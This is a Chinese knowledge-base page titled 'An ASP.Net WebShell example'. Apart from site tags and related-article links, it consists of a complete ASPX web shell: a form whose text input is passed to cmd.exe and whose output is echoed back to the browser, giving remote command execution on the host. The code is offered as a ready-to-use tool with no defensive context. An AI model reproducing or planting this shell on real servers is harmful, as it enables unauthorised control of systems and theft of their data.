主页 > 知识库 > 一个ASP.Net下的WebShell实例

一个ASP.Net下的WebShell实例

热门标签:郑州400电话办理 联通 户外地图标注软件手机哪个好用 智能电话营销外呼系统 凯立德导航官网地图标注 地图标注和认领 五常地图标注 莱芜外呼电销机器人价格 长春呼叫中心外呼系统哪家好 电销语音自动机器人
代码如下:
复制代码 代码如下:

%@ Page Language="C#" AutoEventWireup="true" %>
%@ Import Namespace="System.Runtime.InteropServices" %>
%@ Import Namespace="System.IO" %>
%@ Import Namespace="System.Data" %>
%@ Import Namespace="System.Reflection" %>
%@ Import Namespace="System.Diagnostics" %>
%@ Import Namespace="System.Web" %>
%@ Import Namespace="System.Web.UI" %>
%@ Import Namespace="System.Web.UI.WebControls" %>
script runat="server">
protected void exec(object sender, EventArgs e)
{
    string item = cmd.Text;
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    string strOutput = null;
    p.Start();
    p.StandardInput.WriteLine(item);
    p.StandardInput.WriteLine("exit");
    strOutput = p.StandardOutput.ReadToEnd();
    p.WaitForExit();
    p.Close();
    Response.Write("pre>");
    Response.Write(strOutput);
    Response.Write("/pre>");
}
    protected void Page_Load(object sender, EventArgs e)
    {
    }
/script>
form id="form1" runat="server">
asp:TextBox id="cmd" runat="server" Text="dir c:" />asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
/form>
您可能感兴趣的文章:
  • PHP常见过waf webshell以及最简单的检测方法
  • PHP实现webshell扫描文件木马的方法
  • php木马webshell扫描器代码
  • 精确查找PHP WEBSHELL木马 修正版
  • 精确查找PHP WEBSHELL木马的方法(1)
  • Webshell基础知识深入讲解

标签:宣城 衢州 湖州 福州 岳阳 西宁 西藏 红河

巨人网络通讯声明:本文标题《一个ASP.Net下的WebShell实例》,本文关键词  一个,ASP.Net,下的,WebShell,;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《一个ASP.Net下的WebShell实例》相关的同类信息!
  • 本页收集关于一个ASP.Net下的WebShell实例的相关信息资讯供网民参考!
  • 推荐文章